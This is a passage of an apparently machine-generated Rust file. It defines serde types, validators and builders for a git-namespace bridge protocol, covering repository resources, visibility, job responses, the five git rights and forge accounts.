impl ::std::str::FromStr for PayloadKind {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
match value {
"projectRoles" => Ok(Self::ProjectRoles),
"createRepo" => Ok(Self::CreateRepo),
"bootstrap" => Ok(Self::Bootstrap),
"archive" => Ok(Self::Archive),
"inspect" => Ok(Self::Inspect),
"beginBind" => Ok(Self::BeginBind),
"beginAccountLink" => Ok(Self::BeginAccountLink),
_ => Err("invalid value".into()),
}
}
}
impl ::std::convert::TryFrom<&str> for PayloadKind {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for PayloadKind {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for PayloadKind {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
///A forge-qualified resource naming exactly one repository: `<forge-host>/<owner>/<repo>`, lowercase.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "title": "RepoResource",
/// "description": "A forge-qualified resource naming exactly one repository: `<forge-host>/<owner>/<repo>`, lowercase.",
/// "type": "string",
/// "maxLength": 455,
/// "pattern": "^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(?:\\.[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)+/[a-z0-9_-][a-z0-9._-]{0,99}/[a-z0-9_-][a-z0-9._-]{0,99}$"
///}
/// ```
/// </details>
#[derive(::serde::Serialize, Clone, Debug, Eq, Hash, Ord, PartialEq, PartialOrd)]
#[serde(transparent)]
pub struct RepoResource(::std::string::String);
impl ::std::ops::Deref for RepoResource {
type Target = ::std::string::String;
fn deref(&self) -> &::std::string::String {
&self.0
}
}
impl ::std::convert::From<RepoResource> for ::std::string::String {
fn from(value: RepoResource) -> Self {
value.0
}
}
impl ::std::str::FromStr for RepoResource {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
if value.chars().count() > 455usize {
return Err("longer than 455 characters".into());
}
static PATTERN: ::std::sync::LazyLock<::regress::Regex> = ::std::sync::LazyLock::new(
|| {
::regress::Regex::new(
"^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(?:\\.[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)+/[a-z0-9_-][a-z0-9._-]{0,99}/[a-z0-9_-][a-z0-9._-]{0,99}$",
)
.unwrap()
},
);
if PATTERN.find(value).is_none() {
return Err(
"doesn't match pattern \"^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(?:\\.[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)+/[a-z0-9_-][a-z0-9._-]{0,99}/[a-z0-9_-][a-z0-9._-]{0,99}$\""
.into(),
);
}
Ok(Self(value.to_string()))
}
}
impl ::std::convert::TryFrom<&str> for RepoResource {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for RepoResource {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for RepoResource {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl<'de> ::serde::Deserialize<'de> for RepoResource {
fn deserialize<D>(deserializer: D) -> ::std::result::Result<Self, D::Error>
where
D: ::serde::Deserializer<'de>,
{
::std::string::String::deserialize(deserializer)?
.parse()
.map_err(|e: self::error::ConversionError| {
<D::Error as ::serde::de::Error>::custom(e.to_string())
})
}
}
///`RepoSpec`
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "type": "object",
/// "required": [
/// "visibility"
/// ],
/// "properties": {
/// "description": {
/// "type": "string",
/// "maxLength": 350
/// },
/// "visibility": {
/// "$ref": "#/definitions/RepoVisibility"
/// }
/// },
/// "additionalProperties": false
///}
/// ```
/// </details>
#[derive(::serde::Deserialize, ::serde::Serialize, Clone, Debug)]
#[serde(deny_unknown_fields)]
#[non_exhaustive]
pub struct RepoSpec {
#[serde(default, skip_serializing_if = "::std::option::Option::is_none")]
pub description: ::std::option::Option<RepoSpecDescription>,
pub visibility: RepoVisibility,
}
impl RepoSpec {
pub fn builder() -> builder::RepoSpec {
Default::default()
}
}
///`RepoSpecDescription`
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "type": "string",
/// "maxLength": 350
///}
/// ```
/// </details>
#[derive(::serde::Serialize, Clone, Debug, Eq, Hash, Ord, PartialEq, PartialOrd)]
#[serde(transparent)]
pub struct RepoSpecDescription(::std::string::String);
impl ::std::ops::Deref for RepoSpecDescription {
type Target = ::std::string::String;
fn deref(&self) -> &::std::string::String {
&self.0
}
}
impl ::std::convert::From<RepoSpecDescription> for ::std::string::String {
fn from(value: RepoSpecDescription) -> Self {
value.0
}
}
impl ::std::str::FromStr for RepoSpecDescription {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
if value.chars().count() > 350usize {
return Err("longer than 350 characters".into());
}
Ok(Self(value.to_string()))
}
}
impl ::std::convert::TryFrom<&str> for RepoSpecDescription {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for RepoSpecDescription {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for RepoSpecDescription {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl<'de> ::serde::Deserialize<'de> for RepoSpecDescription {
fn deserialize<D>(deserializer: D) -> ::std::result::Result<Self, D::Error>
where
D: ::serde::Deserializer<'de>,
{
::std::string::String::deserialize(deserializer)?
.parse()
.map_err(|e: self::error::ConversionError| {
<D::Error as ::serde::de::Error>::custom(e.to_string())
})
}
}
///Repository visibility on the forge.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "title": "RepoVisibility",
/// "description": "Repository visibility on the forge.",
/// "type": "string",
/// "enum": [
/// "public",
/// "private"
/// ]
///}
/// ```
/// </details>
#[derive(
::serde::Deserialize,
::serde::Serialize,
Clone,
Copy,
Debug,
Eq,
Hash,
Ord,
PartialEq,
PartialOrd,
)]
#[non_exhaustive]
pub enum RepoVisibility {
#[serde(rename = "public")]
Public,
#[serde(rename = "private")]
Private,
}
impl ::std::fmt::Display for RepoVisibility {
fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result {
match *self {
Self::Public => f.write_str("public"),
Self::Private => f.write_str("private"),
}
}
}
impl ::std::str::FromStr for RepoVisibility {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
match value {
"public" => Ok(Self::Public),
"private" => Ok(Self::Private),
_ => Err("invalid value".into()),
}
}
}
impl ::std::convert::TryFrom<&str> for RepoVisibility {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for RepoVisibility {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for RepoVisibility {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
///Whether the bridge took the job.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "title": "Response",
/// "description": "Whether the bridge took the job.",
/// "type": "object",
/// "required": [
/// "accepted",
/// "jobId"
/// ],
/// "properties": {
/// "accepted": {
/// "description": "`true` — the job is durably queued, or was already queued or running under this `jobId`; a git-ns/bridge/result follows. `false` — the bridge already finished this `jobId`; it does not run it again, and sends its git-ns/bridge/result again.",
/// "type": "boolean"
/// },
/// "ext": {
/// "$ref": "#/definitions/Ext"
/// },
/// "jobId": {
/// "$ref": "#/definitions/JobId"
/// },
/// "next": {
/// "description": "For `beginBind` and `beginAccountLink` when `accepted` is `true`: where the VTC sends the person.",
/// "type": "object",
/// "required": [
/// "expiresAt",
/// "url"
/// ],
/// "properties": {
/// "expiresAt": {
/// "type": "string",
/// "format": "date-time"
/// },
/// "url": {
/// "type": "string",
/// "format": "uri",
/// "maxLength": 2048,
/// "pattern": "^https://"
/// },
/// "userCode": {
/// "description": "The device-flow code, for a forge that uses one.",
/// "type": "string",
/// "maxLength": 64,
/// "minLength": 1
/// }
/// },
/// "additionalProperties": false
/// }
/// },
/// "additionalProperties": false,
/// "$anchor": "response"
///}
/// ```
/// </details>
#[derive(::serde::Deserialize, ::serde::Serialize, Clone, Debug)]
#[serde(deny_unknown_fields)]
#[non_exhaustive]
pub struct Response {
///`true` — the job is durably queued, or was already queued or running under this `jobId`; a git-ns/bridge/result follows. `false` — the bridge already finished this `jobId`; it does not run it again, and sends its git-ns/bridge/result again.
pub accepted: bool,
#[serde(default, skip_serializing_if = "::std::option::Option::is_none")]
pub ext: ::std::option::Option<Ext>,
#[serde(rename = "jobId")]
pub job_id: JobId,
#[serde(default, skip_serializing_if = "::std::option::Option::is_none")]
pub next: ::std::option::Option<ResponseNext>,
}
impl Response {
pub fn builder() -> builder::Response {
Default::default()
}
}
///For `beginBind` and `beginAccountLink` when `accepted` is `true`: where the VTC sends the person.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "description": "For `beginBind` and `beginAccountLink` when `accepted` is `true`: where the VTC sends the person.",
/// "type": "object",
/// "required": [
/// "expiresAt",
/// "url"
/// ],
/// "properties": {
/// "expiresAt": {
/// "type": "string",
/// "format": "date-time"
/// },
/// "url": {
/// "type": "string",
/// "format": "uri",
/// "maxLength": 2048,
/// "pattern": "^https://"
/// },
/// "userCode": {
/// "description": "The device-flow code, for a forge that uses one.",
/// "type": "string",
/// "maxLength": 64,
/// "minLength": 1
/// }
/// },
/// "additionalProperties": false
///}
/// ```
/// </details>
#[derive(::serde::Deserialize, ::serde::Serialize, Clone, Debug)]
#[serde(deny_unknown_fields)]
#[non_exhaustive]
pub struct ResponseNext {
#[serde(rename = "expiresAt")]
pub expires_at: ::chrono::DateTime<::chrono::offset::Utc>,
pub url: ::std::string::String,
///The device-flow code, for a forge that uses one.
#[serde(
rename = "userCode",
default,
skip_serializing_if = "::std::option::Option::is_none"
)]
pub user_code: ::std::option::Option<ResponseNextUserCode>,
}
impl ResponseNext {
pub fn builder() -> builder::ResponseNext {
Default::default()
}
}
///The device-flow code, for a forge that uses one.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "description": "The device-flow code, for a forge that uses one.",
/// "type": "string",
/// "maxLength": 64,
/// "minLength": 1
///}
/// ```
/// </details>
#[derive(::serde::Serialize, Clone, Debug, Eq, Hash, Ord, PartialEq, PartialOrd)]
#[serde(transparent)]
pub struct ResponseNextUserCode(::std::string::String);
impl ::std::ops::Deref for ResponseNextUserCode {
type Target = ::std::string::String;
fn deref(&self) -> &::std::string::String {
&self.0
}
}
impl ::std::convert::From<ResponseNextUserCode> for ::std::string::String {
fn from(value: ResponseNextUserCode) -> Self {
value.0
}
}
impl ::std::str::FromStr for ResponseNextUserCode {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
if value.chars().count() > 64usize {
return Err("longer than 64 characters".into());
}
if value.chars().count() < 1usize {
return Err("shorter than 1 characters".into());
}
Ok(Self(value.to_string()))
}
}
impl ::std::convert::TryFrom<&str> for ResponseNextUserCode {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for ResponseNextUserCode {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for ResponseNextUserCode {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl<'de> ::serde::Deserialize<'de> for ResponseNextUserCode {
fn deserialize<D>(deserializer: D) -> ::std::result::Result<Self, D::Error>
where
D: ::serde::Deserializer<'de>,
{
::std::string::String::deserialize(deserializer)?
.parse()
.map_err(|e: self::error::ConversionError| {
<D::Error as ::serde::de::Error>::custom(e.to_string())
})
}
}
///One of the five git rights. Each string is also the TRQP `action` the VTC publishes the right under in its Trust Registry, so it is carried verbatim. `git.ns.admin` and `git.repo.create` apply to a namespace resource; `git.repo.own` and `git.repo.maintain` to a repository resource; `git.commit.sign` to either.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "title": "Right",
/// "description": "One of the five git rights. Each string is also the TRQP `action` the VTC publishes the right under in its Trust Registry, so it is carried verbatim. `git.ns.admin` and `git.repo.create` apply to a namespace resource; `git.repo.own` and `git.repo.maintain` to a repository resource; `git.commit.sign` to either.",
/// "type": "string",
/// "enum": [
/// "git.ns.admin",
/// "git.repo.create",
/// "git.repo.own",
/// "git.repo.maintain",
/// "git.commit.sign"
/// ]
///}
/// ```
/// </details>
#[derive(
::serde::Deserialize,
::serde::Serialize,
Clone,
Copy,
Debug,
Eq,
Hash,
Ord,
PartialEq,
PartialOrd,
)]
#[non_exhaustive]
pub enum Right {
#[serde(rename = "git.ns.admin")]
GitNsAdmin,
#[serde(rename = "git.repo.create")]
GitRepoCreate,
#[serde(rename = "git.repo.own")]
GitRepoOwn,
#[serde(rename = "git.repo.maintain")]
GitRepoMaintain,
#[serde(rename = "git.commit.sign")]
GitCommitSign,
}
impl ::std::fmt::Display for Right {
fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result {
match *self {
Self::GitNsAdmin => f.write_str("git.ns.admin"),
Self::GitRepoCreate => f.write_str("git.repo.create"),
Self::GitRepoOwn => f.write_str("git.repo.own"),
Self::GitRepoMaintain => f.write_str("git.repo.maintain"),
Self::GitCommitSign => f.write_str("git.commit.sign"),
}
}
}
impl ::std::str::FromStr for Right {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
match value {
"git.ns.admin" => Ok(Self::GitNsAdmin),
"git.repo.create" => Ok(Self::GitRepoCreate),
"git.repo.own" => Ok(Self::GitRepoOwn),
"git.repo.maintain" => Ok(Self::GitRepoMaintain),
"git.commit.sign" => Ok(Self::GitCommitSign),
_ => Err("invalid value".into()),
}
}
}
impl ::std::convert::TryFrom<&str> for Right {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for Right {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for Right {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
///One lowercased owner or repository name. Forges compare these case-insensitively, so the wire form is always lowercase and a producer lowercases before sending. A leading `.` is refused, which rules out `.` and `..`.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "title": "Segment",
/// "description": "One lowercased owner or repository name. Forges compare these case-insensitively, so the wire form is always lowercase and a producer lowercases before sending. A leading `.` is refused, which rules out `.` and `..`.",
/// "type": "string",
/// "maxLength": 100,
/// "minLength": 1,
/// "pattern": "^[a-z0-9_-][a-z0-9._-]*$"
///}
/// ```
/// </details>
#[derive(::serde::Serialize, Clone, Debug, Eq, Hash, Ord, PartialEq, PartialOrd)]
#[serde(transparent)]
pub struct Segment(::std::string::String);
impl ::std::ops::Deref for Segment {
type Target = ::std::string::String;
fn deref(&self) -> &::std::string::String {
&self.0
}
}
impl ::std::convert::From<Segment> for ::std::string::String {
fn from(value: Segment) -> Self {
value.0
}
}
impl ::std::str::FromStr for Segment {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
if value.chars().count() > 100usize {
return Err("longer than 100 characters".into());
}
if value.chars().count() < 1usize {
return Err("shorter than 1 characters".into());
}
static PATTERN: ::std::sync::LazyLock<::regress::Regex> =
::std::sync::LazyLock::new(|| {
::regress::Regex::new("^[a-z0-9_-][a-z0-9._-]*$").unwrap()
});
if PATTERN.find(value).is_none() {
return Err("doesn't match pattern \"^[a-z0-9_-][a-z0-9._-]*$\"".into());
}
Ok(Self(value.to_string()))
}
}
impl ::std::convert::TryFrom<&str> for Segment {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for Segment {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for Segment {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl<'de> ::serde::Deserialize<'de> for Segment {
fn deserialize<D>(deserializer: D) -> ::std::result::Result<Self, D::Error>
where
D: ::serde::Deserializer<'de>,
{
::std::string::String::deserialize(deserializer)?
.parse()
.map_err(|e: self::error::ConversionError| {
<D::Error as ::serde::de::Error>::custom(e.to_string())
})
}
}
///One step of a forge adapter's plan. Forge-neutral names: `create`, `workflow`, `keyring`, `variables`, `requiredCheck`, `roles`, `archive`. An adapter MAY add its own (`mergeStyle`, `runner`), which a VTC displays but need not understand.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "description": "One step of a forge adapter's plan. Forge-neutral names: `create`, `workflow`, `keyring`, `variables`, `requiredCheck`, `roles`, `archive`. An adapter MAY add its own (`mergeStyle`, `runner`), which a VTC displays but need not understand.",
/// "type": "string",
/// "maxLength": 64,
/// "minLength": 1,
/// "pattern": "^[a-z][A-Za-z0-9]*$"
///}
/// ```
/// </details>
#[derive(::serde::Serialize, Clone, Debug, Eq, Hash, Ord, PartialEq, PartialOrd)]
#[serde(transparent)]
pub struct StepName(::std::string::String);
impl ::std::ops::Deref for StepName {
type Target = ::std::string::String;
fn deref(&self) -> &::std::string::String {
&self.0
}
}
impl ::std::convert::From<StepName> for ::std::string::String {
fn from(value: StepName) -> Self {
value.0
}
}
impl ::std::str::FromStr for StepName {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
if value.chars().count() > 64usize {
return Err("longer than 64 characters".into());
}
if value.chars().count() < 1usize {
return Err("shorter than 1 characters".into());
}
static PATTERN: ::std::sync::LazyLock<::regress::Regex> =
::std::sync::LazyLock::new(|| ::regress::Regex::new("^[a-z][A-Za-z0-9]*$").unwrap());
if PATTERN.find(value).is_none() {
return Err("doesn't match pattern \"^[a-z][A-Za-z0-9]*$\"".into());
}
Ok(Self(value.to_string()))
}
}
impl ::std::convert::TryFrom<&str> for StepName {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for StepName {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for StepName {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl<'de> ::serde::Deserialize<'de> for StepName {
fn deserialize<D>(deserializer: D) -> ::std::result::Result<Self, D::Error>
where
D: ::serde::Deserializer<'de>,
{
::std::string::String::deserialize(deserializer)?
.parse()
.map_err(|e: self::error::ConversionError| {
<D::Error as ::serde::de::Error>::custom(e.to_string())
})
}
}
/// Types for composing complex structures.
pub mod builder {
#[derive(Clone, Debug)]
pub struct BindTarget {
forge: ::std::result::Result<super::ForgeHost, ::std::string::String>,
owner: ::std::result::Result<super::Segment, ::std::string::String>,
}
impl ::std::default::Default for BindTarget {
fn default() -> Self {
Self {
forge: Err("no value supplied for forge".to_string()),
owner: Err("no value supplied for owner".to_string()),
}
}
}
impl BindTarget {
pub fn forge<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::ForgeHost>,
T::Error: ::std::fmt::Display,
{
self.forge = value
.try_into()
.map_err(|e| format!("error converting supplied value for forge: {e}"));
self
}
pub fn owner<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::Segment>,
T::Error: ::std::fmt::Display,
{
self.owner = value
.try_into()
.map_err(|e| format!("error converting supplied value for owner: {e}"));
self
}
}
impl ::std::convert::TryFrom<BindTarget> for super::BindTarget {
type Error = super::error::ConversionError;
fn try_from(
value: BindTarget,
) -> ::std::result::Result<Self, super::error::ConversionError> {
Ok(Self {
forge: value.forge?,
owner: value.owner?,
})
}
}
impl ::std::convert::From<super::BindTarget> for BindTarget {
fn from(value: super::BindTarget) -> Self {
Self {
forge: Ok(value.forge),
owner: Ok(value.owner),
}
}
}
#[derive(Clone, Debug)]
pub struct DesiredRole {
account: ::std::result::Result<super::ForgeAccount, ::std::string::String>,
right: ::std::result::Result<super::Right, ::std::string::String>,
subject: ::std::result::Result<super::Did, ::std::string::String>,
}
impl ::std::default::Default for DesiredRole {
fn default() -> Self {
Self {
account: Err("no value supplied for account".to_string()),
right: Err("no value supplied for right".to_string()),
subject: Err("no value supplied for subject".to_string()),
}
}
}
impl DesiredRole {
pub fn account<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::ForgeAccount>,
T::Error: ::std::fmt::Display,
{
self.account = value
.try_into()
.map_err(|e| format!("error converting supplied value for account: {e}"));
self
}
pub fn right<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::Right>,
T::Error: ::std::fmt::Display,
{
self.right = value
.try_into()
.map_err(|e| format!("error converting supplied value for right: {e}"));
self
}
pub fn subject<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::Did>,
T::Error: ::std::fmt::Display,
{
self.subject = value
.try_into()
.map_err(|e| format!("error converting supplied value for subject: {e}"));
self
}
}
impl ::std::convert::TryFrom<DesiredRole> for super::DesiredRole {
type Error = super::error::ConversionError;
fn try_from(
value: DesiredRole,
) -> ::std::result::Result<Self, super::error::ConversionError> {
Ok(Self {
account: value.account?,
right: value.right?,
subject: value.subject?,
})
}
}
impl ::std::convert::From<super::DesiredRole> for DesiredRole {
fn from(value: super::DesiredRole) -> Self {
Self {
account: Ok(value.account),
right: Ok(value.right),
subject: Ok(value.subject),
}
}
}
#[derive(Clone, Debug)]
pub struct ForgeAccount {
forge: ::std::result::Result<super::ForgeHost, ::std::string::String>,
id: ::std::result::Result<super::ForgeId, ::std::string::String>,
login: ::std::result::Result<super::ForgeAccountLogin, ::std::string::String>,
}
impl ::std::default::Default for ForgeAccount {
fn default() -> Self {
Self {
forge: Err("no value supplied for forge".to_string()),
id: Err("no value supplied for id".to_string()),
login: Err("no value supplied for login".to_string()),
}
}
}
impl ForgeAccount {
pub fn forge<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::ForgeHost>,
T::Error: ::std::fmt::Display,
{
self.forge = value
.try_into()
.map_err(|e| format!("error converting supplied value for forge: {e}"));
self
}
pub fn id<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::ForgeId>,
T::Error: ::std::fmt::Display,
{
self.id = value
.try_into()
.map_err(|e| format!("error converting supplied value for id: {e}"));
self
}
pub fn login<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::ForgeAccountLogin>,
T::Error: ::std::fmt::Display,
{
self.login = value
.try_into()
.map_err(|e| format!("error converting supplied value for login: {e}"));
self
}
}
impl ::std::convert::TryFrom<ForgeAccount> for super::ForgeAccount {
type Error = super::error::ConversionError;
fn try_from(
value: ForgeAccount,
) -> ::std::result::Result<Self, super::error::ConversionError> {
Ok(Self {
forge: value.forge?,
id: value.id?,
login: value.login?,
})
}
}
impl ::std::convert::From<super::ForgeAccount> for ForgeAccount {
fn from(value: super::ForgeAccount) -> Self {
Self {
forge: Ok(value.forge),
id: Ok(value.id),
login: Ok(value.login),
}
}
}
#[derive(Clone, Debug)]
pub struct Payload {
desired_roles: ::std::result::Result<
::std::option::Option<Vec<super::DesiredRole>>,
::std::string::String,
>,
ext: ::std::result::Result<::std::option::Option<super::Ext>, ::std::string::String>,
job_id: ::std::result::Result<super::JobId, ::std::string::String>,
kind: ::std::result::Result<super::PayloadKind, ::std::string::String>,
namespace: ::std::result::Result<super::NamespaceId, ::std::string::String>,
remove_accounts: ::std::result::Result<
::std::option::Option<Vec<super::ForgeAccount>>,
::std::string::String,
>,
repo: ::std::result::Result<
::std::option::Option<super::RepoResource>,
::std::string::String,
>,
spec: ::std::result::Result<::std::option::Option<super::RepoSpec>, ::std::string::String>,
steps: ::std::result::Result<
::std::option::Option<Vec<super::StepName>>,
::std::string::String,
>,
subject: ::std::result::Result<::std::option::Option<super::Did>, ::std::string::String>,
target:
::std::result::Result<::std::option::Option<super::BindTarget>, ::std::string::String>,
}
impl ::std::default::Default for Payload {
fn default() -> Self {
Self {
desired_roles: Ok(Default::default()),
ext: Ok(Default::default()),
job_id: Err("no value supplied for job_id".to_string()),
kind: Err("no value supplied for kind".to_string()),
namespace: Err("no value supplied for namespace".to_string()),
remove_accounts: Ok(Default::default()),
repo: Ok(Default::default()),
spec: Ok(Default::default()),
steps: Ok(Default::default()),
subject: Ok(Default::default()),
target: Ok(Default::default()),
}
}
}
impl Payload {
pub fn desired_roles<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<::std::option::Option<Vec<super::DesiredRole>>>,
T::Error: ::std::fmt::Display,
{
self.desired_roles = value
.try_into()
.map_err(|e| format!("error converting supplied value for desired_roles: {e}"));
self
}
pub fn ext<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<::std::option::Option<super::Ext>>,
T::Error: ::std::fmt::Display,
{
self.ext = value
.try_into()
.map_err(|e| format!("error converting supplied value for ext: {e}"));
self
}
pub fn job_id<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::JobId>,
T::Error: ::std::fmt::Display,
{
self.job_id = value
.try_into()
.map_err(|e| format!("error converting supplied value for job_id: {e}"));
self
}
pub fn kind<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::PayloadKind>,
T::Error: ::std::fmt::Display,
{
self.kind = value
.try_into()
.map_err(|e| format!("error converting supplied value for kind: {e}"));
self
}
pub fn namespace<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::NamespaceId>,
T::Error: ::std::fmt::Display,
{
self.namespace = value
.try_into()
.map_err(|e| format!("error converting supplied value for namespace: {e}"));
self
}
pub fn remove_accounts<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<::std::option::Option<Vec<super::ForgeAccount>>>,
T::Error: ::std::fmt::Display,
{
self.remove_accounts = value
.try_into()
.map_err(|e| format!("error converting supplied value for remove_accounts: {e}"));
self
}
pub fn repo<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<::std::option::Option<super::RepoResource>>,
T::Error: ::std::fmt::Display,
{
self.repo = value
.try_into()
.map_err(|e| format!("error converting supplied value for repo: {e}"));
self
}
pub fn spec<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<::std::option::Option<super::RepoSpec>>,
T::Error: ::std::fmt::Display,
{
self.spec = value
.try_into()
.map_err(|e| format!("error converting supplied value for spec: {e}"));
self
}
pub fn steps<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<::std::option::Option<Vec<super::StepName>>>,
T::Error: ::std::fmt::Display,
{
self.steps = value
.try_into()
.map_err(|e| format!("error converting supplied value for steps: {e}"));
self
}
pub fn subject<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<::std::option::Option<super::Did>>,
T::Error: ::std::fmt::Display,
{
self.subject = value
.try_into()
.map_err(|e| format!("error converting supplied value for subject: {e}"));
self
}
pub fn target<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<::std::option::Option<super::BindTarget>>,
T::Error: ::std::fmt::Display,
{
self.target = value
.try_into()
.map_err(|e| format!("error converting supplied value for target: {e}"));
self
}
}
impl ::std::convert::TryFrom<Payload> for super::Payload {
type Error = super::error::ConversionError;
fn try_from(value: Payload) -> ::std::result::Result<Self, super::error::ConversionError> {
Ok(Self {
desired_roles: value.desired_roles?,
ext: value.ext?,
job_id: value.job_id?,
kind: value.kind?,
namespace: value.namespace?,
remove_accounts: value.remove_accounts?,
repo: value.repo?,
spec: value.spec?,
steps: value.steps?,
subject: value.subject?,
target: value.target?,
})
}
}
impl ::std::convert::From<super::Payload> for Payload {
fn from(value: super::Payload) -> Self {
Self {
desired_roles: Ok(value.desired_roles),
ext: Ok(value.ext),
job_id: Ok(value.job_id),
kind: Ok(value.kind),
namespace: Ok(value.namespace),
remove_accounts: Ok(value.remove_accounts),
repo: Ok(value.repo),
spec: Ok(value.spec),
steps: Ok(value.steps),
subject: Ok(value.subject),
